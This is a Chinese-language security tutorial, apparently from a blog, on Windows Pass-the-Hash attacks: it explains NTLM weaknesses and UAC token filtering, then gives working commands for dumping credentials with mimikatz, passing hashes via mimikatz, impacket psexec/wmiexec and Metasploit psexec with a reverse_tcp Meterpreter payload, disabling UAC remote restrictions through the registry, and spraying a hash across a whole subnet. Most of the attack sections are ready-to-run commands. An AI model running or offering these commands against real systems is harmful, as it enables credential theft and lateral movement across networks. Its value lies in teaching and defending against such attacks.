本文提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;

本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除

一、PTH简介

  • PTH(Pass-the-Hash,哈希传递)是一种利用Windows身份验证机制漏洞的攻击技术。

  • 攻击者无需知道用户密码的明文,只需获取其NTLM哈希值,即可冒充该用户身份访问系统资源,实现横向移动或权限提升。

二、PTH的原理

  • PTH攻击的根源在于NTLM协议将NTLM Hash视为身份凭证的设计缺陷,通过复用哈希绕过密码验证,可以直接模拟用户身份。

  • NTLM认证的核心是验证客户端能否生成与服务端预期一致的Response,而Response的计算仅依赖NTLM Hash(用户密码的哈希值)和Challenge(服务端生成的随机数)

  • NTLM协议仅验证哈希计算结果,而非密码明文或哈希的生成过程(不追溯NTLM Hash来源,只要Response与服务端预期值匹配,无论Hash是否由合法密码派生,均认证通过。),攻击者只需获取NTLM Hash,即可直接生成合法的Response,无需知道明文密码。

  • Challenge是服务端动态生成的随机数,攻击者无需构造或预测,只需被动接收即可(攻击者在发起认证请求时,服务端会主动返回Challenge)。

三、工作组环境和域环境下PTH的区别

工作组

  • 抓到了A机器的Hash,而B机器的密码与A一样,则可以通过A的Hash进行传递,获取B的权限

  • 示例:

  • A机器本地管理员密码为P@ssw0rd,NTLM Hash为31D6CFE0...

  • B机器本地管理员密码同为P@ssw0rd,其NTLM Hash也为31D6CFE0...

  • 使用A的Hash可对B发起PTH攻击,获取B的权限

域环境

  • 在域环境中,域用户和对应的密码在域内是相通的,只需要获取域管的Hash就可以横向到域内的任何一台机器

四、本地帐号和域账号PTH的区别

  • 使用本地普通用户和本地管理员组用户进行PTH会失败

  • 使用本地管理员组用户administrator和本地管理员组中的域用户进行PTH会成功

本地账号

  • 本地账号受UAC远程连接的影响,在使用PTH的过程中,不同操作系统的版本存在差异

  • Windows Vista之前的机器,可以使用本地管理员组内所有用户进行PTH

  • Windows Vista及其之后的机器,只能使用administrator用户的Hash进行PTH,其他非administrator的本地管理员组内的用户Hash不能用来进行PTH

域账号

  • 域账号不受UAC远程连接的影响

  • 普通域机器可以使用本地管理员组内的普通域用户进行PTH(域用户被加入本地管理员组)

  • 域控可以使用域管理员组内所有用户进行PTH

拓展

UAC

  • Windows Vista引入的用户账户控制(User Account Control,UAC)采用最小特权原则重构权限管理体系,通过创建标准用户和受保护的管理员账户两类主体,实现权限的动态隔离。

  • UAC允许标准用户作为非管理员身份执行常见的日常任务,本地管理员组成员的帐户将使用最小特权原则运行大多数应用程序。

  • 最小特权的用户具有类似于标准用户帐户的权限,但是当本地管理员组的成员必须执行需要管理员权限的任务时,Windows Vista会自动提示用户获得批准。

  • 本地管理员组成员在执行常规操作时,系统自动应用受限令牌(Filtered Token),仅保留标准用户权限集,有效降低特权滥用风险。当涉及需要管理员权限的操作时,系统通过安全桌面实施实时权限提升审批机制。

  • 当管理员账户administrator进行远程连接时会直接得到具有管理员凭证的令牌,非administrator的本地管理员账户进行远程连接时,会得到一个删除了管理员凭证的令牌。通过本地管理员组中的域用户进行远程连接时,UAC不会生效,会直接得到一个具有管理员凭证的令牌。

让内置的Administrator账户无法进行Hash传递

  • FilterAdministratorToken 注册表项

  • 路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

  • 官方描述:User Account Control: Admin Approval Mode for the built-in Administrator account(用户账户控制:内置 Administrator 账户的管理员批准模式)

  • 默认状态:Disabled(禁用,对应注册表值为0)。

  • 具体含义:

  • 当该值为0时,内置的Administrator账户在执行特权操作时,不会触发UAC提权提示,直接获取完整管理员令牌。

  • 当该值为1时,即使是内置的Administrator账户也要遵循管理员批准模式,执行特权操作时触发UAC提权提示(需用户确认),生成的访问令牌为 受限令牌(Filtered Token),与普通管理员账户行为一致

让非Administrator的本地管理员账户进行远程连接时得到具有管理员凭证的令牌

  • UAC远程连接限制通过LocalAccountTokenFilterPolicy这个注册表项来控制

  • 路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

  • Windows Vista及其以后的系统默认没有该注册表值,可以通过以下命令查询该注册表值

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy

  • 如果想禁用UAC远程连接限制,可以在远程主机系统上执行如下命令创建LocalAccountTokenFilterPolicy注册表值,然后将其值赋为1

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
  • 执行成功后,只要是本地管理员组用户,都可以在远程连接时获得具有管理员权限的令牌

  • 拓展:删除该注册表值

reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f

五、通过mimikatz进行PTH

  • 抓取密码Hash

//要⽤管理员权限运⾏mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"

  • 获取了域管组内⽤户的NTLM哈希值后就可以用mimikatz对域内任何⼀台机器(包括域控)进⾏PTH

  • 前提:必须拥有域内任意⼀台主机的本地管理员权限和获取域管理员的密码NTLM哈希值

//执⾏完命令后,目标主机会弹出一个cmd窗⼝,在新弹出的cmd窗⼝中可以访问域内任何⼀台机器。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:lazy.com /ntlm:4cc0603100e427861517555e3f4ab751"

  • 在CS上可利用进程注入,直接在cs上进行远程操作。

  • 注入成功会生成一个新的会话,可以在新的会话中访问域内任何⼀台机器

六、通过impacket进行PTH

  • 可以使用impacket里的psexec、smbexec、wmiexec、atexec等脚本进行PTH

  • 下载地址:https://github.com/maaaaz/impacket-examples-windows

  • 使用这种方式进行PTH并不需要通过高权限来执行,普通域用户可以执行,执行成功后会生成一个新的会话,通过新的命令行会话就可以访问域内任何⼀台机器。

psexec

psexec.exe -hashes :4cc0603100e427861517555e3f4ab751 Lazy/[email protected]

wmiexec

wmiexec.exe -hashes :4cc0603100e427861517555e3f4ab751 Lazy/[email protected]

七、通过MSF进行PTH

  • 使用MSF的exploit/windows/smb/psexec模块可以进行PTH

  • MSF接收到会话以后可以使用以下命令抓取Hash

  • hash值是500后面的值,第一个是LM Hash,第二个是NTML Hash,LM的值对错与否是不重要,只需要NTML的值正确即可

hashdump

run post/windows/gather/hashdump
  • PTH

//以目标为域控举例
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 10.10.1.228
set smbdomain lazy
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:4cc0603100e427861517555e3f4ab751
run

八、拓展:Hash碰撞

  • 在企业内网中,有可能存在不同的机器使用相同的密码,所以攻击者获得了内网某台机器的密码Hash但是无法解密成明文时,就可以利用哈希碰撞来碰撞出使用相同密码的机器。

CrackMapExec

crackmapexec.exe 10.10.1.0/24 -u administrator -H

MSF

  • 通过MSF中的exploit/windows/smb/psexec可以进行Hash碰撞

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set smbdomain lazy
set rhosts 10.10.1.0/24
set smbuser administrator
set smbpass smbpass aad3b435b51404eeaad3b435b51404ee:4cc0603100e427861517555e3f4ab751
  • 如果10.10.1.0这个网段中存在主机使用相同的密码,结果会提示[+],并且会获得使用该密码主机的权限

  • 可以通过sessions -l命令查看已经获得权限机器的session